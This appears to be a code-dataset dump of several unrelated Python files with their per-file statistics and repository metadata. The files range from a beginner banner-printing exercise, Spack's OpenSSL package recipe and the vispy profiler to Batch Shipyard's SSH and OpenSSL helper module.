def banner_text(text): screen_width = 80 if len(text) > screen_width - 4: print("EEK!!") print("THE TEXT IS TOO LONG TO FIT IN THE SPECIFIED WIDTH") if text == "*": print("*" * screen_width) else: centred_text = text.center(screen_width - 4) output_string = "**{0}**".format(centred_text) print(output_string) banner_text("*") banner_text("Always look on the bright side of life...") banner_text("If life seems jolly rotten,") banner_text("There's something you've forgotten!") banner_text("And that's to laugh and smile and dance and sing,") banner_text(" ") banner_text("When you're feeling in the dumps,") banner_text("Don't be silly chumps,") banner_text("Just purse your lips and whistle - that's the thing!") banner_text("And... always look on the bright side of life...") banner_text("*") result = banner_text("Nothing is returned") print(result) numbers = [4, 2, 7, 5, 8, 3, 9, 6, 1] print(numbers.sort())

30.71875

67

0.66531

153

983

4.137255

0.496732

0.205371

0.047393

0.063191

0.129542

0

0.017588

0.190234

983

31

68

31.709677

0.777638

0

0.076923

0

0.399797

0

1

0.038462

false

0

0.038462

0.230769

0

null

1

0

null

0

1

0ab878278314d67f6d0be9f6568f133ce9e1ee76

8,119

py

Python

var/spack/repos/builtin/packages/openssl/package.py

vitodb/spack

b9ab1de4c5f7b21d9f9cb88b7251820a48e82d27

[ "ECL-2.0", "Apache-2.0", "MIT" ]

null

var/spack/repos/builtin/packages/openssl/package.py

vitodb/spack

b9ab1de4c5f7b21d9f9cb88b7251820a48e82d27

[ "ECL-2.0", "Apache-2.0", "MIT" ]

1

2021-01-11T09:16:43.000Z

2021-01-12T20:07:23.000Z

var/spack/repos/builtin/packages/openssl/package.py

vitodb/spack

b9ab1de4c5f7b21d9f9cb88b7251820a48e82d27

[ "ECL-2.0", "Apache-2.0", "MIT" ]

1

2021-01-06T18:58:26.000Z

# Copyright 2013-2020 Lawrence Livermore National Security, LLC and other # Spack Project Developers. See the top-level COPYRIGHT file for details. # # SPDX-License-Identifier: (Apache-2.0 OR MIT) import llnl.util.tty as tty from spack import * import spack.architecture import os class Openssl(Package): # Uses Fake Autotools, should subclass Package """OpenSSL is an open source project that provides a robust, commercial-grade, and full-featured toolkit for the Transport Layer Security (TLS) and Secure Sockets Layer (SSL) protocols. It is also a general-purpose cryptography library.""" homepage = "http://www.openssl.org" # URL must remain http:// so Spack can bootstrap curl url = "http://www.openssl.org/source/openssl-1.1.1d.tar.gz" list_url = "http://www.openssl.org/source/old/" list_depth = 1 # The latest stable version is the 1.1.1 series. This is also our Long Term # Support (LTS) version, supported until 11th September 2023. version('1.1.1g', sha256='ddb04774f1e32f0c49751e21b67216ac87852ceb056b75209af2443400636d46') version('1.1.1f', sha256='186c6bfe6ecfba7a5b48c47f8a1673d0f3b0e5ba2e25602dd23b629975da3f35') version('1.1.1e', sha256='694f61ac11cb51c9bf73f54e771ff6022b0327a43bbdfa1b2f19de1662a6dcbe') version('1.1.1d', sha256='1e3a91bc1f9dfce01af26026f856e064eab4c8ee0a8f457b5ae30b40b8b711f2') version('1.1.1c', sha256='f6fb3079ad15076154eda9413fed42877d668e7069d9b87396d0804fdb3f4c90') version('1.1.1b', sha256='5c557b023230413dfb0756f3137a13e6d726838ccd1430888ad15bfb2b43ea4b') version('1.1.1a', sha256='fc20130f8b7cbd2fb918b2f14e2f429e109c31ddd0fb38fc5d71d9ffed3f9f41') version('1.1.1', sha256='2836875a0f89c03d0fdf483941512613a50cfb421d6fd94b9f41d7279d586a3d') # The 1.1.0 series is out of support and should not be used. version('1.1.0l', sha256='74a2f756c64fd7386a29184dc0344f4831192d61dc2481a93a4c5dd727f41148') version('1.1.0k', sha256='efa4965f4f773574d6cbda1cf874dbbe455ab1c0d4f906115f867d30444470b1') version('1.1.0j', sha256='31bec6c203ce1a8e93d5994f4ed304c63ccf07676118b6634edded12ad1b3246') version('1.1.0i', sha256='ebbfc844a8c8cc0ea5dc10b86c9ce97f401837f3fa08c17b2cdadc118253cf99') version('1.1.0g', sha256='de4d501267da39310905cb6dc8c6121f7a2cad45a7707f76df828fe1b85073af') version('1.1.0e', sha256='57be8618979d80c910728cfc99369bf97b2a1abd8f366ab6ebdee8975ad3874c') version('1.1.0d', sha256='7d5ebb9e89756545c156ff9c13cf2aa6214193b010a468a3bc789c3c28fe60df') version('1.1.0c', sha256='fc436441a2e05752d31b4e46115eb89709a28aef96d4fe786abe92409b2fd6f5') # The 1.0.2 series is out of support and should not be used. version('1.0.2u', sha256='ecd0c6ffb493dd06707d38b14bb4d8c2288bb7033735606569d8f90f89669d16') version('1.0.2t', sha256='14cb464efe7ac6b54799b34456bd69558a749a4931ecfd9cf9f71d7881cac7bc') version('1.0.2s', sha256='cabd5c9492825ce5bd23f3c3aeed6a97f8142f606d893df216411f07d1abab96') version('1.0.2r', sha256='ae51d08bba8a83958e894946f15303ff894d75c2b8bbd44a852b64e3fe11d0d6') version('1.0.2p', sha256='50a98e07b1a89eb8f6a99477f262df71c6fa7bef77df4dc83025a2845c827d00') version('1.0.2o', sha256='ec3f5c9714ba0fd45cb4e087301eb1336c317e0d20b575a125050470e8089e4d') version('1.0.2n', sha256='370babb75f278c39e0c50e8c4e7493bc0f18db6867478341a832a982fd15a8fe') version('1.0.2m', sha256='8c6ff15ec6b319b50788f42c7abc2890c08ba5a1cdcd3810eb9092deada37b0f') version('1.0.2k', sha256='6b3977c61f2aedf0f96367dcfb5c6e578cf37e7b8d913b4ecb6643c3cb88d8c0') version('1.0.2j', sha256='e7aff292be21c259c6af26469c7a9b3ba26e9abaaffd325e3dccc9785256c431') version('1.0.2i', sha256='9287487d11c9545b6efb287cdb70535d4e9b284dd10d51441d9b9963d000de6f') version('1.0.2h', sha256='1d4007e53aad94a5b2002fe045ee7bb0b3d98f1a47f8b2bc851dcd1c74332919') version('1.0.2g', sha256='b784b1b3907ce39abf4098702dade6365522a253ad1552e267a9a0e89594aa33') version('1.0.2f', sha256='932b4ee4def2b434f85435d9e3e19ca8ba99ce9a065a61524b429a9d5e9b2e9c') version('1.0.2e', sha256='e23ccafdb75cfcde782da0151731aa2185195ac745eea3846133f2e05c0e0bff') version('1.0.2d', sha256='671c36487785628a703374c652ad2cebea45fa920ae5681515df25d9f2c9a8c8') # The 1.0.1 version is out of support and should not be used. version('1.0.1u', sha256='4312b4ca1215b6f2c97007503d80db80d5157f76f8f7d3febbe6b4c56ff26739') version('1.0.1t', sha256='4a6ee491a2fdb22e519c76fdc2a628bb3cec12762cd456861d207996c8a07088') version('1.0.1r', sha256='784bd8d355ed01ce98b812f873f8b2313da61df7c7b5677fcf2e57b0863a3346') version('1.0.1h', sha256='9d1c8a9836aa63e2c6adb684186cbd4371c9e9dcc01d6e3bb447abf2d4d3d093') version('1.0.1e', sha256='f74f15e8c8ff11aa3d5bb5f276d202ec18d7246e95f961db76054199c69c1ae3') variant('systemcerts', default=True, description='Use system certificates') depends_on('zlib') depends_on('perl@5.14.0:', type=('build', 'test')) parallel = False @property def libs(self): return find_libraries(['libssl', 'libcrypto'], root=self.prefix.lib) def handle_fetch_error(self, error): tty.warn("Fetching OpenSSL failed. This may indicate that OpenSSL has " "been updated, and the version in your instance of Spack is " "insecure. Consider updating to the latest OpenSSL version.") def install(self, spec, prefix): # OpenSSL uses a variable APPS in its Makefile. If it happens to be set # in the environment, then this will override what is set in the # Makefile, leading to build errors. env.pop('APPS', None) if str(spec.target.family) in ('x86_64', 'ppc64'): # This needs to be done for all 64-bit architectures (except Linux, # where it happens automatically?) env['KERNEL_BITS'] = '64' options = ['zlib', 'shared'] if spec.satisfies('@1.0'): options.append('no-krb5') # clang does not support the .arch directive in assembly files. if 'clang' in self.compiler.cc and \ 'aarch64' in spack.architecture.sys_type(): options.append('no-asm') config = Executable('./config') config('--prefix=%s' % prefix, '--openssldir=%s' % join_path(prefix, 'etc', 'openssl'), '-I{0}'.format(self.spec['zlib'].prefix.include), '-L{0}'.format(self.spec['zlib'].prefix.lib), *options) # Remove non-standard compiler options if present. These options are # present e.g. on Darwin. They are non-standard, i.e. most compilers # (e.g. gcc) will not accept them. filter_file(r'-arch x86_64', '', 'Makefile') make() if self.run_tests: make('test') # 'VERBOSE=1' make('install') @run_after('install') def link_system_certs(self): if '+systemcerts' not in self.spec: return system_dirs = [ # CentOS, Fedora, RHEL '/etc/pki/tls', # Ubuntu '/usr/lib/ssl', # OpenSUSE '/etc/ssl' ] pkg_dir = join_path(self.prefix, 'etc', 'openssl') for directory in system_dirs: sys_cert = join_path(directory, 'cert.pem') pkg_cert = join_path(pkg_dir, 'cert.pem') # If a bundle exists, use it. This is the preferred way on Fedora, # where the certs directory does not work. if os.path.exists(sys_cert) and not os.path.exists(pkg_cert): os.symlink(sys_cert, pkg_cert) sys_certs = join_path(directory, 'certs') pkg_certs = join_path(pkg_dir, 'certs') # If the certs directory exists, symlink it into the package. # We symlink the whole directory instead of all files because # the directory contents might change without Spack noticing. if os.path.isdir(sys_certs) and not os.path.islink(pkg_certs): os.rmdir(pkg_certs) os.symlink(sys_certs, pkg_certs)

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0.419471

0.051577

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null

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1

0ab9be78769ca53a9456cd93a3fd3ab2a85a0c35

4,799

py

Python

vispy/util/profiler.py

izaid/vispy

402cf95bfef88d70c9c45bb27c532ed72944e14a

[ "BSD-3-Clause" ]

null

vispy/util/profiler.py

izaid/vispy

402cf95bfef88d70c9c45bb27c532ed72944e14a

[ "BSD-3-Clause" ]

null

vispy/util/profiler.py

izaid/vispy

402cf95bfef88d70c9c45bb27c532ed72944e14a

[ "BSD-3-Clause" ]

null

# -*- coding: utf-8 -*- # Copyright (c) 2014, Vispy Development Team. # Distributed under the (new) BSD License. See LICENSE.txt for more info. # Adapted from PyQtGraph import sys from . import ptime from .. import config class Profiler(object): """Simple profiler allowing directed, hierarchical measurement of time intervals. By default, profilers are disabled. To enable profiling, set the environment variable `VISPYPROFILE` to a comma-separated list of fully-qualified names of profiled functions. Calling a profiler registers a message (defaulting to an increasing counter) that contains the time elapsed since the last call. When the profiler is about to be garbage-collected, the messages are passed to the outer profiler if one is running, or printed to stdout otherwise. If `delayed` is set to False, messages are immediately printed instead. Example: def function(...): profiler = Profiler() ... do stuff ... profiler('did stuff') ... do other stuff ... profiler('did other stuff') # profiler is garbage-collected and flushed at function end If this function is a method of class C, setting `VISPYPROFILE` to "C.function" (without the module name) will enable this profiler. For regular functions, use the qualified name of the function, stripping only the initial "vispy.." prefix from the module. """ _profilers = (config['profile'].split(",") if config['profile'] is not None else []) _depth = 0 _msgs = [] # set this flag to disable all or individual profilers at runtime disable = False class DisabledProfiler(object): def __init__(self, *args, **kwds): pass def __call__(self, *args): pass def finish(self): pass def mark(self, msg=None): pass _disabled_profiler = DisabledProfiler() def __new__(cls, msg=None, disabled='env', delayed=True): """Optionally create a new profiler based on caller's qualname. """ if (disabled is True or (disabled == 'env' and len(cls._profilers) == 0)): return cls._disabled_profiler # determine the qualified name of the caller function caller_frame = sys._getframe(1) try: caller_object_type = type(caller_frame.f_locals["self"]) except KeyError: # we are in a regular function qualifier = caller_frame.f_globals["__name__"].split(".", 1)[1] else: # we are in a method qualifier = caller_object_type.__name__ func_qualname = qualifier + "." + caller_frame.f_code.co_name if (disabled == 'env' and func_qualname not in cls._profilers and 'all' not in cls._profilers): # don't do anything return cls._disabled_profiler # create an actual profiling object cls._depth += 1 obj = super(Profiler, cls).__new__(cls) obj._name = msg or func_qualname obj._delayed = delayed obj._mark_count = 0 obj._finished = False obj._firstTime = obj._last_time = ptime.time() obj._new_msg("> Entering " + obj._name) return obj def __call__(self, msg=None, *args): """Register or print a new message with timing information. """ if self.disable: return if msg is None: msg = str(self._mark_count) self._mark_count += 1 new_time = ptime.time() elapsed = (new_time - self._last_time) * 1000 self._new_msg(" " + msg + ": %0.4f ms", *(args + (elapsed,))) self._last_time = new_time def mark(self, msg=None): self(msg) def _new_msg(self, msg, *args): msg = " " * (self._depth - 1) + msg if self._delayed: self._msgs.append((msg, args)) else: self.flush() print(msg % args) def __del__(self): self.finish() def finish(self, msg=None): """Add a final message; flush the message list if no parent profiler. """ if self._finished or self.disable: return self._finished = True if msg is not None: self(msg) self._new_msg("< Exiting %s, total time: %0.4f ms", self._name, (ptime.time() - self._firstTime) * 1000) type(self)._depth -= 1 if self._depth < 1: self.flush() def flush(self): if self._msgs: print("\n".join([m[0] % m[1] for m in self._msgs])) type(self)._msgs = []

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0.016296

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0.028889

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4,799

138

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false

0.050633

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0.025316

0

null

0

null

0

1

0

1

0abcc62b08fba05c95b291d22e16bd5e45062b59

204

py

Python

Codility/python/tape_equilibrium.py

ajeet1308/code_problems

5d99839b6319295c6d81dd86775c46a536e7a1ca

[ "MIT" ]

61

2020-09-26T19:57:44.000Z

2022-03-09T18:51:44.000Z

Codility/python/tape_equilibrium.py

ajeet1308/code_problems

5d99839b6319295c6d81dd86775c46a536e7a1ca

[ "MIT" ]

88

2020-09-19T20:00:27.000Z

2021-10-31T09:41:57.000Z

Codility/python/tape_equilibrium.py

ajeet1308/code_problems

5d99839b6319295c6d81dd86775c46a536e7a1ca

[ "MIT" ]

218

2020-09-20T08:18:03.000Z

2022-01-30T23:13:16.000Z

def solution(A): total = sum(A) m = float('inf') left_sum = 0 for n in A[:-1]: left_sum += n v = abs(total - 2*left_sum) if v < m: m = v return m

15.692308

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204

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0.2

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null

1

0

null

0

1

0ac3e100821a287c22e2857e9d532f5d8e059c8b

2,723

py

Python

src/trusted/validator_arm/dgen_output.py

kapkic/native_client

51c8bc8c249d55606232ae011bdfc8b4cab3d794

[ "BSD-3-Clause" ]

1

2021-12-23T00:36:43.000Z

src/trusted/validator_arm/dgen_output.py

kapkic/native_client

51c8bc8c249d55606232ae011bdfc8b4cab3d794

[ "BSD-3-Clause" ]

null

src/trusted/validator_arm/dgen_output.py

kapkic/native_client

51c8bc8c249d55606232ae011bdfc8b4cab3d794

[ "BSD-3-Clause" ]

null

#!/usr/bin/python2 # # Copyright (c) 2012 The Native Client Authors. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. # """ Some common boilerplates and helper functions for source code generation in files dgen_test_output.py and dgen_decode_output.py. """ HEADER_BOILERPLATE ="""/* * Copyright 2013 The Native Client Authors. All rights reserved. * Use of this source code is governed by a BSD-style license that can * be found in the LICENSE file. */ // DO NOT EDIT: GENERATED CODE """ NOT_TCB_BOILERPLATE="""#ifndef NACL_TRUSTED_BUT_NOT_TCB #error This file is not meant for use in the TCB #endif """ NEWLINE_STR=""" """ COMMENTED_NEWLINE_STR=""" //""" """Adds comment '// ' string after newlines.""" def commented_string(str, indent=''): sep = NEWLINE_STR + indent + '//' str = str.replace(NEWLINE_STR, sep) # This second line is a hack to fix that sometimes newlines are # represented as '\n'. # TODO(karl) Find the cause of this hack, and fix it. return str.replace('\\n', sep) def ifdef_name(filename): """ Generates the ifdef name to use for the given filename""" return filename.replace("/", "_").replace(".", "_").upper() + "_" def GetNumberCodeBlocks(separators): """Gets the number of code blocks to break classes into.""" num_blocks = len(separators) + 1 assert num_blocks >= 2 return num_blocks def FindBlockIndex(filename, format, num_blocks): """Returns true if the filename matches the format with an index in the range [1, num_blocks].""" for block in range(1, num_blocks+1): suffix = format % block if filename.endswith(suffix): return block raise Exception("Can't find block index: %s" % filename) def GetDecodersBlock(n, separators, decoders, name_fcn): """Returns the (sorted) list of decoders to include in block n, assuming decoders are split using the list of separators.""" num_blocks = GetNumberCodeBlocks(separators) assert n > 0 and n <= num_blocks return [decoder for decoder in decoders if ((n == 1 or IsPrefixLeDecoder(separators[n-2], decoder, name_fcn)) and (n == num_blocks or not IsPrefixLeDecoder(separators[n-1], decoder, name_fcn)))] def IsPrefixLeDecoder(prefix, decoder, name_fcn): """Returns true if the prefix is less than or equal to the corresponding prefix length of the decoder name.""" decoder_name = name_fcn(decoder) prefix_len = len(prefix) decoder_len = len(decoder_name) decoder_prefix = (decoder_name[0:prefix_len] if prefix_len < decoder_len else decoder_name) return prefix <= decoder_prefix

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0

null

0

null

0

1

0

1

0ac98e5cdb6676a542021f48c116aa5fa733e705

16,208

py

Python

convoy/crypto.py

hebinhuang/batch-shipyard

f87d94850380bee273eb51c5c35381952a5722b8

[ "MIT" ]

null

convoy/crypto.py

hebinhuang/batch-shipyard

f87d94850380bee273eb51c5c35381952a5722b8

[ "MIT" ]

null

convoy/crypto.py

hebinhuang/batch-shipyard

f87d94850380bee273eb51c5c35381952a5722b8

[ "MIT" ]

null

# Copyright (c) Microsoft Corporation # # All rights reserved. # # MIT License # # Permission is hereby granted, free of charge, to any person obtaining a # copy of this software and associated documentation files (the "Software"), # to deal in the Software without restriction, including without limitation # the rights to use, copy, modify, merge, publish, distribute, sublicense, # and/or sell copies of the Software, and to permit persons to whom the # Software is furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED *AS IS*, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING # FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER # DEALINGS IN THE SOFTWARE. # compat imports from __future__ import ( absolute_import, division, print_function, unicode_literals ) from builtins import ( # noqa bytes, dict, int, list, object, range, str, ascii, chr, hex, input, next, oct, open, pow, round, super, filter, map, zip) # stdlib imports import base64 import collections import getpass import logging import os try: import pathlib2 as pathlib except ImportError: import pathlib import tempfile import stat import subprocess # local imports from . import settings from . import util # create logger logger = logging.getLogger(__name__) util.setup_logger(logger) # global defines _SSH_KEY_PREFIX = 'id_rsa_shipyard' _REMOTEFS_SSH_KEY_PREFIX = '{}_remotefs'.format(_SSH_KEY_PREFIX) # named tuples PfxSettings = collections.namedtuple( 'PfxSettings', ['filename', 'passphrase', 'sha1']) def get_ssh_key_prefix(): # type: (None) -> str """Get SSH key prefix :rtype: str :return: ssh key prefix """ return _SSH_KEY_PREFIX def get_remotefs_ssh_key_prefix(): # type: (None) -> str """Get remote fs SSH key prefix :rtype: str :return: ssh key prefix for remote fs """ return _REMOTEFS_SSH_KEY_PREFIX def generate_rdp_password(): # type: (None) -> str """Generate an RDP password :rtype: str :return: rdp password """ return base64.b64encode(os.urandom(8)) def generate_ssh_keypair(export_path, prefix=None): # type: (str, str) -> tuple """Generate an ssh keypair for use with user logins :param str export_path: keypair export path :param str prefix: key prefix :rtype: tuple :return: (private key filename, public key filename) """ if util.is_none_or_empty(prefix): prefix = _SSH_KEY_PREFIX privkey = pathlib.Path(export_path, prefix) pubkey = pathlib.Path(export_path, prefix + '.pub') if privkey.exists(): old = pathlib.Path(export_path, prefix + '.old') if old.exists(): old.unlink() privkey.rename(old) if pubkey.exists(): old = pathlib.Path(export_path, prefix + '.pub.old') if old.exists(): old.unlink() pubkey.rename(old) logger.info('generating ssh key pair to path: {}'.format(export_path)) subprocess.check_call( ['ssh-keygen', '-f', str(privkey), '-t', 'rsa', '-N', '''''']) return (privkey, pubkey) def check_ssh_private_key_filemode(ssh_private_key): # type: (pathlib.Path) -> bool """Check SSH private key filemode :param pathlib.Path ssh_private_key: SSH private key :rtype: bool :return: private key filemode is ok """ def _mode_check(fstat, flag): return bool(fstat & flag) if util.on_windows(): return True fstat = ssh_private_key.stat().st_mode modes = frozenset((stat.S_IRWXG, stat.S_IRWXO)) return not any([_mode_check(fstat, x) for x in modes]) def connect_or_exec_ssh_command( remote_ip, remote_port, ssh_private_key, username, sync=True, shell=False, tty=False, ssh_args=None, command=None): # type: (str, int, pathlib.Path, str, bool, bool, tuple, tuple) -> bool """Connect to node via SSH or execute SSH command :param str remote_ip: remote ip address :param int remote_port: remote port :param pathlib.Path ssh_private_key: SSH private key :param str username: username :param bool sync: synchronous execution :param bool shell: execute with shell :param bool tty: allocate pseudo-tty :param tuple ssh_args: ssh args :param tuple command: command :rtype: int or subprocess.Process :return: return code or subprocess handle """ if not ssh_private_key.exists(): raise RuntimeError('SSH private key file not found at: {}'.format( ssh_private_key)) # ensure file mode is set properly for the private key if not check_ssh_private_key_filemode(ssh_private_key): logger.warning( 'SSH private key filemode is too permissive: {}'.format( ssh_private_key)) # execute SSH command ssh_cmd = [ 'ssh', '-o', 'StrictHostKeyChecking=no', '-o', 'UserKnownHostsFile={}'.format(os.devnull), '-i', str(ssh_private_key), '-p', str(remote_port), ] if tty: ssh_cmd.append('-t') if util.is_not_empty(ssh_args): ssh_cmd.extend(ssh_args) ssh_cmd.append('{}@{}'.format(username, remote_ip)) if util.is_not_empty(command): ssh_cmd.extend(command) logger.info('{} node {}:{} with key {}'.format( 'connecting to' if util.is_none_or_empty(command) else 'executing command on', remote_ip, remote_port, ssh_private_key)) if sync: return util.subprocess_with_output(ssh_cmd, shell=shell) else: return util.subprocess_nowait_pipe_stdout( ssh_cmd, shell=shell, pipe_stderr=True) def derive_private_key_pem_from_pfx(pfxfile, passphrase=None, pemfile=None): # type: (str, str, str) -> str """Derive a private key pem file from a pfx :param str pfxfile: pfx file :param str passphrase: passphrase for pfx :param str pemfile: path of pem file to write to :rtype: str :return: path of pem file """ if pfxfile is None: raise ValueError('pfx file is invalid') if passphrase is None: passphrase = getpass.getpass('Enter password for PFX: ') # convert pfx to pem if pemfile is None: f = tempfile.NamedTemporaryFile(mode='wb', delete=False) f.close() pemfile = f.name try: # create pem from pfx subprocess.check_call( ['openssl', 'pkcs12', '-nodes', '-in', pfxfile, '-out', pemfile, '-password', 'pass:' + passphrase] ) except Exception: fp = pathlib.Path(pemfile) if fp.exists(): fp.unlink() pemfile = None return pemfile def derive_public_key_pem_from_pfx(pfxfile, passphrase=None, pemfile=None): # type: (str, str, str) -> str """Derive a public key pem file from a pfx :param str pfxfile: pfx file :param str passphrase: passphrase for pfx :param str pemfile: path of pem file to write to :rtype: str :return: path of pem file """ if pfxfile is None: raise ValueError('pfx file is invalid') if passphrase is None: passphrase = getpass.getpass('Enter password for PFX: ') # convert pfx to pem if pemfile is None: f = tempfile.NamedTemporaryFile(mode='wb', delete=False) f.close() pemfile = f.name try: # create pem from pfx subprocess.check_call( ['openssl', 'pkcs12', '-nodes', '-in', pfxfile, '-out', pemfile, '-password', 'pass:' + passphrase] ) # extract public key from private key subprocess.check_call( ['openssl', 'rsa', '-in', pemfile, '-pubout', '-outform', 'PEM', '-out', pemfile] ) except Exception: fp = pathlib.Path(pemfile) if fp.exists(): fp.unlink() pemfile = None return pemfile def _parse_sha1_thumbprint_openssl(output): # type: (str) -> str """Get SHA1 thumbprint from buffer :param str buffer: buffer to parse :rtype: str :return: sha1 thumbprint of buffer """ # return just thumbprint (without colons) from the above openssl command # in lowercase. Expected openssl output is in the form: # SHA1 Fingerprint=<thumbprint> return ''.join(util.decode_string( output).strip().split('=')[1].split(':')).lower() def get_sha1_thumbprint_pfx(pfxfile, passphrase): # type: (str, str) -> str """Get SHA1 thumbprint of PFX :param str pfxfile: name of the pfx file to export :param str passphrase: passphrase for pfx :rtype: str :return: sha1 thumbprint of pfx """ if pfxfile is None: raise ValueError('pfxfile is invalid') if passphrase is None: passphrase = getpass.getpass('Enter password for PFX: ') # compute sha1 thumbprint of pfx pfxdump = subprocess.check_output( ['openssl', 'pkcs12', '-in', pfxfile, '-nodes', '-passin', 'pass:' + passphrase] ) proc = subprocess.Popen( ['openssl', 'x509', '-noout', '-fingerprint'], stdin=subprocess.PIPE, stdout=subprocess.PIPE ) return _parse_sha1_thumbprint_openssl(proc.communicate(input=pfxdump)[0]) def get_sha1_thumbprint_pem(pemfile): # type: (str) -> str """Get SHA1 thumbprint of PEM :param str pfxfile: name of the pfx file to export :rtype: str :return: sha1 thumbprint of pem """ proc = subprocess.Popen( ['openssl', 'x509', '-noout', '-fingerprint', '-in', pemfile], stdout=subprocess.PIPE ) return _parse_sha1_thumbprint_openssl(proc.communicate()[0]) def generate_pem_pfx_certificates(config): # type: (dict) -> str """Generate a pem and a derived pfx file :param dict config: configuration dict :rtype: str :return: sha1 thumbprint of pfx """ # gather input pemfile = settings.batch_shipyard_encryption_public_key_pem(config) pfxfile = settings.batch_shipyard_encryption_pfx_filename(config) passphrase = settings.batch_shipyard_encryption_pfx_passphrase(config) if pemfile is None: pemfile = util.get_input('Enter public key PEM filename to create: ') if pfxfile is None: pfxfile = util.get_input('Enter PFX filename to create: ') if passphrase is None: while util.is_none_or_empty(passphrase): passphrase = getpass.getpass('Enter password for PFX: ') if len(passphrase) == 0: print('passphrase cannot be empty') privatekey = pemfile + '.key' # generate pem file with private key and no password f = tempfile.NamedTemporaryFile(mode='wb', delete=False) f.close() try: subprocess.check_call( ['openssl', 'req', '-new', '-nodes', '-x509', '-newkey', 'rsa:2048', '-keyout', privatekey, '-out', f.name, '-days', '730', '-subj', '/C=US/ST=None/L=None/O=None/CN=BatchShipyard'] ) # extract public key from private key subprocess.check_call( ['openssl', 'rsa', '-in', privatekey, '-pubout', '-outform', 'PEM', '-out', pemfile] ) logger.debug('created public key PEM file: {}'.format(pemfile)) # convert pem to pfx for Azure Batch service subprocess.check_call( ['openssl', 'pkcs12', '-export', '-out', pfxfile, '-inkey', privatekey, '-in', f.name, '-certfile', f.name, '-passin', 'pass:', '-passout', 'pass:' + passphrase] ) logger.debug('created PFX file: {}'.format(pfxfile)) finally: # remove rsa private key file fp = pathlib.Path(privatekey) if fp.exists(): fp.unlink() # remove temp cert pem fp = pathlib.Path(f.name) if fp.exists(): fp.unlink() # get sha1 thumbprint of pfx return get_sha1_thumbprint_pfx(pfxfile, passphrase) def get_encryption_pfx_settings(config): # type: (dict) -> tuple """Get PFX encryption settings from configuration :param dict config: configuration settings :rtype: tuple :return: pfxfile, passphrase, sha1 tp """ pfxfile = settings.batch_shipyard_encryption_pfx_filename(config) pfx_passphrase = settings.batch_shipyard_encryption_pfx_passphrase(config) sha1_cert_tp = settings.batch_shipyard_encryption_pfx_sha1_thumbprint( config) # manually get thumbprint of pfx if not exists in config if util.is_none_or_empty(sha1_cert_tp): if pfx_passphrase is None: pfx_passphrase = getpass.getpass('Enter password for PFX: ') sha1_cert_tp = get_sha1_thumbprint_pfx(pfxfile, pfx_passphrase) settings.set_batch_shipyard_encryption_pfx_sha1_thumbprint( config, sha1_cert_tp) return PfxSettings( filename=pfxfile, passphrase=pfx_passphrase, sha1=sha1_cert_tp) def _rsa_encrypt_string(data, config): # type: (str, dict) -> str """RSA encrypt a string :param str data: clear text data to encrypt :param dict config: configuration dict :rtype: str :return: base64-encoded cipher text """ if util.is_none_or_empty(data): raise ValueError('invalid data to encrypt') inkey = settings.batch_shipyard_encryption_public_key_pem(config) derived = False if inkey is None: # derive pem from pfx derived = True pfxfile = settings.batch_shipyard_encryption_pfx_filename(config) pfx_passphrase = settings.batch_shipyard_encryption_pfx_passphrase( config) inkey = derive_public_key_pem_from_pfx(pfxfile, pfx_passphrase, None) try: if inkey is None: raise RuntimeError('public encryption key is invalid') proc = subprocess.Popen( ['openssl', 'rsautl', '-encrypt', '-pubin', '-inkey', inkey], stdin=subprocess.PIPE, stdout=subprocess.PIPE) ciphertext = util.base64_encode_string( proc.communicate(input=util.encode_string(data))[0]) if proc.returncode != 0: raise RuntimeError( 'openssl encryption failed with returncode: {}'.format( proc.returncode)) return ciphertext finally: if derived: fp = pathlib.Path(inkey) if fp.exists(): fp.unlink() def _rsa_decrypt_string_with_pfx(ciphertext, config): # type: (str, dict) -> str """RSA decrypt a string :param str ciphertext: cipher text in base64 :param dict config: configuration dict :rtype: str :return: decrypted cipher text """ if util.is_none_or_empty(ciphertext): raise ValueError('invalid ciphertext to decrypt') pfxfile = settings.batch_shipyard_encryption_pfx_filename(config) pfx_passphrase = settings.batch_shipyard_encryption_pfx_passphrase(config) pemfile = derive_private_key_pem_from_pfx(pfxfile, pfx_passphrase, None) if pemfile is None: raise RuntimeError('cannot decrypt without valid private key') cleartext = None try: data = util.base64_decode_string(ciphertext) proc = subprocess.Popen( ['openssl', 'rsautl', '-decrypt', '-inkey', pemfile], stdin=subprocess.PIPE, stdout=subprocess.PIPE) cleartext = proc.communicate(input=data)[0] finally: fp = pathlib.Path(pemfile) if fp.exists(): fp.unlink() return cleartext def encrypt_string(enabled, string, config): # type: (bool, str, dict) -> str """Encrypt a string :param bool enabled: if encryption is enabled :param str string: string to encrypt :param dict config: configuration dict :rtype: str :return: encrypted string if enabled """ if enabled: return _rsa_encrypt_string(string, config) else: return string

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2,038

16,208

5.052012

0.185476

0.028166

0.022727

0.03312

0.41521

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0.32566

0.271465

0.221445

0.197358

0

0.006029

0.24272

16,208

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false

0.125

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0.200758

0.049242

0

null

0

null

0

1

0

1

0acf1290742f590cb6015abc57d74458d907cabb

1,164

py

Python

soil/build/lib/soil/openstack/snapshot.py

JackDan9/soil

ae612a4634634aace834491fbdefbc69e6167674

[ "MIT" ]

1

2020-08-06T11:58:35.000Z

soil/build/lib/soil/openstack/snapshot.py

JackDan9/soil

ae612a4634634aace834491fbdefbc69e6167674

[ "MIT" ]

4

2019-12-13T11:27:28.000Z

2022-02-27T11:58:38.000Z

soil/build/lib/soil/openstack/snapshot.py

JackDan9/soil

ae612a4634634aace834491fbdefbc69e6167674

[ "MIT" ]

null

